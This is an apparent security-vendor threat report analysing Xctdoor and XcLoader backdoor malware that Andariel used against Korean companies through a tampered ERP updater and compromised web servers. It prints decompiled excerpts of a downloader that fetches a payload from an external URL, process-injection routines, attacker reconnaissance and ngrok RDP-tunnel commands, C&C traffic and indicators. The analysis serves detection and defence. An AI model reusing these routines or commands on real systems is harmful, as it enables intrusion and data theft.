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Xctdoor Malware Used in Attacks Against Korean Companies (Andariel)

Jun 24 2024



AhnLab SEcurity intelligence Center (ASEC) recently discovered a case where an unidentified threat actor exploited a Korean ERP solution to carry out an attack. After infiltrating the system, the threat actor is believed to have attacked the update server of a specific Korean ERP solution to take control of systems within the company. In another attack case, a vulnerable web server was attacked to distribute malware. The targets of these attacks have been identified as the Korean defense and manufacturing industries.

Among the identified malware, there is a form where a malicious routine is inserted into the update program of an existing ERP solution. This method is similar to a case in 2017 when the Andariel group used it to install the HotCroissant backdoor. The creator used the string "Xct" during the development process of the malware, and the backdoor ultimately used here is classified as Xctdoor.

1. Past Attack Cases of Andariel

Rifdoor is a backdoor used by Andariel, a subgroup known to be part of the Lazarus group. It was first discovered in November 2015 and its activity was confirmed until early 2016. [1] (This report supports Korean only for now.) Starting in 2017, a variant of Rifdoor was used in attacks, which was identified as identical to Lazarus group's HotCroissant, a backdoor disclosed by the US CISA [2] and VMware's Carbon Black [3] in 2020. Carbon Black detailed the similarities and differences between Rifdoor and HotCroissant, and the Rifdoor variant will be classified as HotCroissant here.

Among the attack cases using HotCroissant, there was an incident in 2017 where a Korean ERP solution was exploited to distribute malware. The threat actor inserted a malicious routine into the update program "ClientUpdater.exe". It is presumed that the threat actor exploited this method to attack the ERP's update server after breaching a specific organization, with the purpose of propagating internally.

The routine inserted into the update program is responsible for downloading and executing additional payloads from an external source, as shown below. The malware downloaded from this URL was the HotCroissant backdoor, which had been used in attacks since 2017.

```
else
ClientUpdater (1.0.0.0)
                                                    159
  ClientUpdater.exe
                                                                      Process[] processesByName = Process.GetProcessesByName("= - ");
                                                    160
     D 💾 PE
                                                                      if (processesByName.Length < 1)</pre>
                                                    161
     ▶ ■ ■ Type References
                                                    162
     ▶ ■ ■ References
                                                    163
                                                                          this.wc = new WebClient();
     ▶ ■ Resources
                                                    164
                                                                          this.wc.DownloadFileCompleted += this.fileDownloadCompleted;
     ▶ {} -
                                                                          string text37 = "http://www.jikji.pe.kr/xe/files/attach/binaries/102/663/image.gif
                                                    165

▲ {} ClientUpdater
                                                   166
167
                                                                          if (!string.lsNullOrEmptv(text37))
        ▶ 🔩 App @02000003
                                                    168
                                                                               Process process = new Process();

▲ ♥ Window1 @02000006

                                                                              process.StartInfo.FileName = " 🛶 -
                                                    169
           Base Type and Interfaces
```

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```
process.Startinto.workinguirectory = this.m_setupPath + "WWDIN";
Derived Types
                                            171
                                                                         process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

    Window1(bool, string): void @0€

                                            172
                                                                         string text38 = this.m_setupPath + "\\big| \big| \big| \big| \big| .exe";
       na na nakab<del>anta ya kwa aka</del>as
                                            173
                                                                         if (File.Exists(text38))
                                            174
                                                                              process.Start();
                                            175
                                            176
 \Theta_{\!_{\mathbf{G}}}
                                                                         else
  ଦ୍ଲ
                                            179
                                                                              try
                                            181
                                                                                   this.wc.DownloadFileAsync(new Uri(text37), text38);
                                            182
                                                                                   Thread.Sleep(3000);
                                                                                   process.Start();
                                            184
  © HasUpdate(): bool @06000027
                                            185
186
                                                                              catch (Exception)
                        void @060
                                            187
                                                                                   if (File.Exists(text38))
                  ----: void @0
                                            188
             ■ 1 ■ ■ ■ ol @060
                                            189
                                                                                       File.Delete(text38);
                           : void @0i
                                            190
```

Figure 1. The downloader routine inserted into the ERP update program

2. Recent Attack Case - ERP

A similar attack case was identified in May 2024. Unlike the past incident where a downloader routine was inserted into "ClientUpdater.exe", this time, a routine was simply inserted to execute a DLL from a specific path using the Regsvr32.exe process.

```
ClientUpdater
  ▶ % App @02000002
                                          Process.Start("regsvr32.exe", "/s \"" + Path.Combine(Directory.GetCurrentDirectory(), 🕞 🚛 = -.Common.RegEx.dll")

■ Window1 @02000003

   Base Type and Interfaces
                                114
115
                                       catch (Exception ex)
   Derived Types
                                116
117
                                          contents = ex.Message;
    try
     119
                                120
121
                                          File.AppendAllText(Path.Combine(Directory.GetCurrentDirectory(), "ClientUpdater.log"), contents);
     o. In Late and the other
                                122
123
124
125
126
                                       catch (Exception)
     Φ, ...
     ⊕
        manches by a comm
```

Figure 2. The execution routine inserted into the ERP update program

Although the initial installation process is not confirmed, the identified DLL was found to be malware capable of stealing system information and executing commands from the threat actor. This suggests that, similar to the past incident, the update server of a specific ERP was attacked.

Based on keywords like "XctMain" used by the threat actor during the development process, the final installed DLL malware is classified as Xctdoor here. Xctdoor is in DLL format and developed in the Go language. It is designed to be executed via the Regsvr32.exe process.

When executed by the Regsvr32.exe process, Xctdoor injects itself into processes such as "taskhost.exe," "taskhostex.exe", "taskhostw.exe", and "explorer.exe". Subsequently, it copies itself to the path "%LOCALAPPDATA%

\Packages\Microsoft.MicrosoftEdge.Current_8wekyb3d8bbwe\Settings\roaming.dat" and creates a shortcut file in the startup folder to ensure it runs after a reboot. The shortcut file "MicrosoftEdge.lnk" does not directly execute "roaming.dat", but instead uses

Regsvr32.exe to execute the "settings.lock" file located in the same path.

"settings.lock" is injector malware classified as XcLoader based on the name used by the threat actor during its creation. XcLoader's function is simply to inject the "roaming.dat" file into the explorer.exe process.

```
v36 = path_filepath_Join((unsigned int)v85, 2, 2, (unsigned int)v79 + 8, a5, v32, v33, v34, v35, v62, v70, v76);
result = os_ReadFile(v36, 2, v37, (unsigned int)v79 + 8, a5, v38, v39, v40, v41, v63, v71);// Current Directory + "roaming.dat"
if ( v79 == (__int128 *)-8LL )
{
  v80 = 2LL;
  v47 = runtime_makeslice((unsigned int)&RTYPE_uint8, 2, 2, 0, a5, v43, v44, v45, v46, v64, v72, v77);
  v52 = v82;
  v53 = v80;
  for ( i = 0LL; v53 > i; ++i )
    a5 = *(unsigned __int8 *)(v52 + i);
LODWORD(v10) = a5 ^ (i * i) ^ 0x11;
    *(_BYTE *)(v47 + i) = a5 ^ (i * i) ^ 0x11;
  }
  v84 = v47;
  v55 = xct utils DecryptUnicodeString(
          (unsigned int)"AnzGXS8EKR83CGF1KAAwgFBuy/EFayXYMkqoe9ok",// "explorer.exe"
          40,
          v53,
          (_DWORD)v10,
          a5,
          v48,
          v49,
          v50,
          v51,
          v73);
  return xct injector InjectToProcessBvName(v55, 40, v80, v80, v80, 2094769893, v56, v57, v58, v66, v74, v78):
```

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```
return result;
```

Figure 3. XcLoader's injection routine

Additionally, the Go language version of XcLoader was identified for the first time in this attack, whereas previously, the C language version of XcLoader had been used in attacks. In this attack case, both Go language and C language versions of XcLoader were found. The details about these types will be summarized in the next section.

The ultimately executed Xctdoor is a backdoor that transmits basic information such as the username, computer name, and the malware's PID to the C&C server and can execute commands received from it. Furthermore, it supports information theft functions such as screenshot capture, keylogging, clipboard logging, and transmitting drive information.

```
Address
                                                                                                Length
                                                                                                                      String
                                                                                                              Type
Function name
                                                      Segmer ^
                                                                                                00000013
                                                                      rdata:00000002F3999E89
                                                                                                                      main, dataslot_open
                                                                                                              main_NewMsgBuilder
                                                      ,text
                                                                      rdata:00000002F3999E9C
                                                                                                00000014
                                                                                                                      main, dataslot_close
          main_get_eid_me
                                                      .text
                                                                                                                      main, dataslot_set_port
                                                                      .rdata:00000002F3999EB0
                                                                                                00000017
          main_ptr_MsgBuilder_build_begin
                                                      ,text
                                                                      rdata:00000002F3999EC7
                                                                                                0000001B
                                                                                                                      main, dataslot_set_interval
          main__ptr_MsgBuilder_build_reset
                                                      .text
                                                                      .rdata:00000002F3999EE2
                                                                                                0000001B
                                                                                                                      main, dataslot_get_interval
          main_ptr_MsgBuilder_build_end
                                                      .text
                                                                      rdata:00000002F3999EFD
                                                                                                00000021
                                                                                                                      main,dataslot_get_interval_value
          main__ptr_MsgBuilder_get_buffer
                                                      .text
                                                                      rdata:00000002F3999F1E
                                                                                                00000022
                                                                                                                      main,dataslot_set_urgent_interval
          main__ptr_MsgBuilder_get_msg_id
                                                      ,text
                                                                      rdata:00000002F3999F40
                                                                                                0000001C
                                                                                                                      main, dataslot_worker_thread
          main_ptr_MsgBuilder_get_eid_sender
                                                      ,text
                                                                      rdata:00000002F3999F5C,
                                                                                                0000001B
                                                                                                                      main, dataslot_is_connected
          main__ptr_MsgBuilder_get_pos
                                                      .text
                                                                      rdata:00000002F3999F77
                                                                                                00000019
                                                                                                                      main,dataslot_put_packet
          main__ptr_MsgBuilder_skip_bytes
                                                      ,text
                                                                      .rdata:00000002F3999F90
                                                                                                00000020
                                                                                                                      main, dataslot_put_packet_direct
          main__ptr_MsgBuilder_read_u8
                                                      .text
                                                                      rdata:00000002F3999FB0
                                                                                                0000001F
                                                                                                                      main,dataslot_put_packet_async
          main__ptr_MsgBuilder_read_u32
                                                      .text
                                                                      rdata:00000002F3999FCF,
                                                                                                0000001A
                                                                                                                      main, dataslot_send_packet
          main__ptr_MsgBuilder_read_u64
                                                      .text
                                                                      rdata:00000002F3999FE9
                                                                                                0000001A
                                                                                                                      main, dataslot_recv_packet
          main__ptr_MsgBuilder_read_bytes
                                                      .text
                                                                      rdata:00000002F399A003
                                                                                                0000001B
                                                                                                                      main dataslot_close_stream
          main__ptr_MsgBuilder_read_unicode_bytes
                                                      ,text
                                                                      rdata:00000002F399A01E
                                                                                                0000001B
                                                                                                                      main, dataslot_parse_packet
          main__ptr_MsgBuilder_read_unicode_string
                                                      .text
                                                                      rdata:00000002F399A039,
                                                                                                0000001D
                                                                                                                      main,dataslot_process_packet
          main__ptr_MsgBuilder_write_u8
                                                      ,text
                                                                      .rdata:00000002F399A056
                                                                                                00000019
                                                                                                                      main,dataslot_set_server
          main__ptr_MsgBuilder_write_value
                                                      .text
                                                                      rdata:00000002F399A06F
                                                                                                0000001D
                                                                                                                      main, dataslot_get_ip_address
          main__ptr_MsgBuilder_write_u16
                                                      ,text
                                                                      rdata:00000002F399A08C
                                                                                                00000018
                                                                                                                      main,fsunit_process_msg
          main__ptr_MsgBuilder_write_u32
                                                      .text
                                                                      rdata:00000002F399A0A4
                                                                                                00000018
                                                                                                                      main,request_file_block
          main__ptr_MsgBuilder_write_u32_at
                                                      ,text
                                                                      .rdata:00000002F399A0BC
                                                                                                00000015
                                                                                                                      main, send_drive_list
          main__ptr_MsgBuilder_write_u64
                                                      .text
                                                                      .rdata:00000002F399A0D1
                                                                                                00000014
                                                                                                                      main,send_file_list
          main__ptr_MsgBuilder_write_u64_at
                                                      .text
                                                                                                00000015
                                                                      rdata:00000002F399A0E5
                                                                                                                      main,send_file_block
          main_ptr_MsgBuilder_write_bytes
                                                      .text
                                                                      rdata:00000002F399A0FA,
                                                                                                00000017
                                                                                                                      main,send_pull_complet
          main__ptr_MsgBuilder_write_unicode_bytes
                                                      .text
                                                                      rdata:00000002F399A111
                                                                                                0000000A
                                                                                                                      main, main
          main__ptr_MsgBuilder_write_unicode_string
                                                      ,text
                                                                      rdata:00000002F399A11B
                                                                                                00000013
                                                                                                                      main, monunit_start
          main_delta_file_path
                                                      .text
                                                                      rdata:00000002F399A12E
                                                                                                00000012
                                                                                                                      main, monunit_stop
          main_save_id_delta
                                                      ,text
                                                                      rdata:00000002F399A140
                                                                                                00000018
                                                                                                                      main, monunit_set_config
          main_load_id_delta
                                                      .text
                                                                      rdata:00000002F399A158
                                                                                                00000014
                                                                                                                      main, monitor_thread
          main_get_msg_description
                                                      .text
                                                                      rdata:00000002F399A16C
                                                                                                00000015
                                                                                                                      main, check_keystroke
          main_processunit_process_msg
                                                      .text
                                                                      rdata:00000002F399A181
                                                                                                00000016
                                                                                                                      main, send_window_data
          main_send_process_list
                                                      ,text
                                                                      rdata:00000002F399A197
                                                                                                00000019
                                                                                                                      main, send_keystorke_data
          main_rootunit_send_spec_info
                                                      ,text
                                                                      rdata:00000002F399A1B0
                                                                                                00000015
                                                                                                                      main,check_clipboard
          main_rootunit_send_module_info
                                                      .text
                                                                      rdata:00000002F399A1C5,
                                                                                                00000019
                                                                                                                      main,send_clipboard_data
          main_rootunit_process_msg
                                                      .text
                                                                      rdata:00000002F399A1DE,
                                                                                                00000012
                                                                                                                      main,check_screen
          main_send_error_code
                                                      .text
                                                                      rdata:00000002F399A1F0
                                                                                                00000016
                                                                                                                      main, send_screen_data
          main_execute_cmd
                                                      ,text
                                                                      rdata:00000002F399A206
                                                                                                00000015
                                                                                                                      main,log_screen_data
          main_create_process
                                                      .text
                                                                      rdata:00000002F399A21B
                                                                                                00000012
                                                                                                                      main,check_drives
          main_XctMain
                                                      ,text
                                                                      rdata:00000002F399A22D
                                                                                                0000000E
                                                                                                                      main,log_data
          main_GetEventName
                                                      .text
                                                                      rdata:00000002F399A23B
                                                                                                00000019
                                                                                                                      main, monunit_process_msg
          main_DIIRegisterServer
                                                      .text
                                                                      .rdata:00000002F399A254
                                                                                                0000001B
                                                                                                                      main, MsgBuilderFromContent
          main_DIIUnregisterServer
                                                      ,text
                                                                  <
          main_VssServiceMain
                                                      ,text
```

Figure 4. Functions supported by Xctdoor

Xctdoor communicates with the C&C server using the HTTP protocol, while the packet encryption employs the Mersenne Twister (mt19937) algorithm and the Base64 algorithm.

```
POST /index.php HTTP/1.1
Host: beebeep.info
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------293582696224464
Content-Length: 40
Connection: close
Date: Fri, 17 May 2024 06:11:01 GMT
Server: Apache/2.2.21 (Win32) mod ss1/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod per1/2.0.4 Per1/v5.10.1
Accept-Ranges: bytes
Content-Length: 32
Connection: close
Content-Type: text/html;
PSmzcCfF37eCVgksqLdVR504+iUGhqrx
```

Figure 5. Xctdoor's C&C communication packets

3. Recent Attack Case - Web Server

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In March 2024, instances were confirmed where web servers were attacked to install XcLoader. Considering the targets were Windows

IIS web servers running version 8.5, which was developed in 2013, it is presumed that the malware was propagated by exploiting poor configurations or a vulnerability.

Target Type	File	e Name	File Size	File Path 🚯	
Current		cmd.exe	349 KB	%SystemRoot%\system32	\cmd.exe
Target	= t	est.exe	228.5 KB	%SystemRoot%\system32	\inetsrv\test.exe
Parent	V	w3wp.exe	22 KB	%SystemRoot%\system32	\inetsrv\w3wp.exe
ParentOfParentO	fCurrent 🛑 s	svchost.exe	37.88 KB	%SystemRoot%\system32	\svchost.exe
Process	Module	Target		Behavior	Data
cmd.exe	N/A	test.e	exe	Creates process	N/A
w3wp.exe	N/A	N/A		Deletes executable file	N/A

Figure 6. Log of XcLoader being installed on a web server due to an attack

Upon examining the commands executed on the IIS server, besides actions related to malware installation, behaviors such as querying system information were observed. This is similar to cases where web shells are installed on web servers to execute commands, suggesting that this system might also have a web shell installed.

```
> ipconfig /all
> ping 8.8.8.8 -n 2
> systeminfo
> reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\"
> powershell -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall* | Select-Object Displa yName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize"
```

The XcLoader used in the attack functions similarly to the type developed in the Go language, reading and decrypting the "roaming.dat" file located in the same directory, and injecting it into processes. The difference is that in the May 2024 case, the "roaming.dat" file is in PE format, whereas in this case, it is encrypted. XcLoader primarily targets the explorer exe process for injection, but in some cases, it also selects the "sihost.exe" process.

A characteristic of the XcLoader used in this attack is its logging behavior to a specific path, as shown below. This path appears to be a detailed path related to the web server, indicating that the web server has already been compromised by the threat actor.

```
v21 = OpenProcess(0x1FFFFFu, 0, pe.th32ProcessID);
       if ( v21 )
          break;
      if ( !Process32NextW(v20, &pe) )
        CloseHandle(v20);
       goto LABEL_18;
     loseHandle(v21);
   th32ProcessID = pe.th32ProcessID;
    CloseHandle(v20);
    if ( fn_inject(th32ProcessID, v13, FileSize) )
     v6 = th32ProcessID;
   if ( v6 )
     fn_writeLog2("[::::
                           \\WebSite\\LIB\\test\\1.aspx", L"Inject success\n");
     goto LABEL_20;
 fn_writeLog2("" " - \WebSite\\LIB\\test\\1.aspx", L"Failed to inject to target process %s\n", L"explorer.exe");
else
  LastError = GetLastError();
 fn_writeLog2(
    "": " \ WebSite\\LIB\\test\\1.aspx",
   L"Failed to read file - %s: Error code - %u\n",
   FileName,
LastError);
```

Figure 7. The path where the malware logs its activities

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Additionally, among the systems affected by this attack, logs from Ngrok were also identified. Ngrok is a tunneling program that exposes systems within NAT environments to external access. It is often installed by threat actors to establish remote control via RDP on infected systems and is frequently observed in attacks attributed to the Kimsuky group.

update tcp 3389 -authtoken 2gX7z8V0maClrjdsYA1jaDF9wSz_4RyHTgn7eAnYhSBxjis9J

Ngrok (update.exe) command line entered by the threat actor

4. Conclusion

ASEC monitors advanced persistent threats (APT) and has recently confirmed cases of attacks exploiting a Korean ERP solution. Similar to methods previously used by the Andariel group, the threat actor exploited the ERP solution to propagate malware within companies.

The recent attacks were confirmed in May 2024, targeting the defense sector, but similar attacks have been occurring since earlier times. In March 2024, instances were confirmed where Korean manufacturing sector web servers were attacked to install XcLoader. XcLoader serves as an injector malware responsible for injecting Xcdoor into normal processes. Xcdoor, in turn, is a backdoor capable of capturing system information such as screenshots, keylogs, clipboard data, and drive information, as well as executing commands issued by threat actors. Threat actors can control infected systems and exfiltrate information through this malware.

Users must be particularly cautious against attachments in emails from unknown sources and executable files downloaded from web pages. Security administrators in companies must enhance monitoring of asset management programs and apply patches for any security vulnerabilities in the programs. Users should also apply the latest patch for OS and programs such as Internet browsers, and update V3 to the latest version to prevent malware infection in advance.

File Detection

- Trojan/Win.XcLoader.C5642132 (2024.06.19.00)
- Trojan/Win.XcLoader.C5641779 (2024.06.17.02)
- Trojan/Win.XcLoader.C5641780 (2024.06.17.02)
- Backdoor/Win.Xctdoor.C5626572 (2024.05.27.03)
- Trojan/Win.Launcher.C5626571 (2024.05.29.00)
- Trojan/Win.Injector.R642750 (2024.04.03.01)
- Backdoor/Win.Xctdoor.C5622753 (2024.05.18.00)
- Trojan/Win.Injector.C5622750 (2024.05.17.02)
- Trojan/Win.Agent.C5622754 (2024.05.29.00)
- Trojan/Win.Injector.C5607331 (2024.04.03.01)
- Trojan/Win32.Rifdoor.R214775 (2017.12.06.00)

- Trojan/Win32.Andaridown.R216669 (2017.12.27.09)

Behavior Detection

- Execution/MDP.Ngrok.M4615

loCs

MD5

- 235e02eba12286e74e886b6c99e46fb7: Modified ERP update program past case (ClientUpdater.exe)
- 396bee51c7485c3a0d3b044a9ceb6487: HotCroissant Past Case (***Kor.exe)
- ab8675b4943bc25a51da66565cfc8ac8: Modified ERP update program latest case (ClientUpdater.exe)
- f24627f46ec64cae7a6fa9ee312c43d7: Modified ERP update program latest case (ClientUpdater.exe)
- 6928fab25ac1255fbd8d6c1046653919: XcLoader (XcExecutor.exe)
- 9a580aaaa3e79b6f19a2c70e89b016e3: XcLoader (icsvcext.dll)
- a42ae44761ce3294ce0775fe384d97b6: XcLoader (icsvcext.dll)
- d852c3d06ef63ea6c6a21b0d1cdf14d4: XcLoader (icsvcext.dll)
- 2e325935b2d1d0a82e63ff2876482956: XcLoader (settings.lock)
- 4f5e5a392b8a3e0cb32320ed1e8d0604: XcLoader (test.exe)
- 54d5be3a4eb0e31c0ba7cb88f0a8e720: XcLoader (test.exe)
- b43a7dcfe53a981831ae763a9a5450fd: XcLoader (test.exe)
- e554b1be8bab11e979c75e2c2453bc6a: XcLoader (test.exe)

†

- 41d5d25de0ca0fdc54c24c484f9f8f55: XcLoader (settings.lock)
- b96b98dede8a64373b539f94042bdb41: XcLoader (settings.lock)
- 375f1cc32b6493662a78720c7d905bc3: XcLoader (settings.lock)
- d938201644aac3421df7a3128aa88a53: XcLoader (onedrive.dll)
- d787a33d76552019becfef0a4af78a11: XcLoader (onedrive.dll)- 09a5069c9cc87af39bbb6356af2c1a36: XcLoader (onedrive.dll)
- ad96a8f22faab8b9c361cfccc381cd28: Xctdoor (******.Common.RegEx.dll)
- 9bbde4484821335d98b41b44f93276e8: Xctdoor (******.***.Common.RegEx.dll)
- -11465d02b0d7231730f3c4202b0400b8: Xctdoor (******.Common.RegEx.dll)

C&C Server Addresses

- -195.50.242[.]110:8080: HotCroissant
- hxxp://beebeep[.]info/index.php: Xctdoor

Download URL

- hxxp://www.jikji.pe[.]kr/xe/files/attach/binaries/102/663/image.gif: HotCroissant

Subscribe to AhnLab's next-generation threat intelligence platform 'AhnLab TIP' to check related IOC and detailed analysis information.

IOC related information

MD5

09a5069c9cc87af39bbb6356af2c1a36

11465d02b0d7231730f3c4202b0400b8

235e02eba12286e74e886b6c99e46fb7

2e325935b2d1d0a82e63ff2876482956

375f1cc32b6493662a78720c7d905bc3

Additional IOCs are available on AhnLab TIP.

URL

http[:]//195[.]50[.]242[.]110[:]8080/

http[:]//beebeep[.]info/index[.]php

http[:]//www[.]jikji[.]pe[.]kr/xe/files/attach/binaries/102/663/image[.]gif

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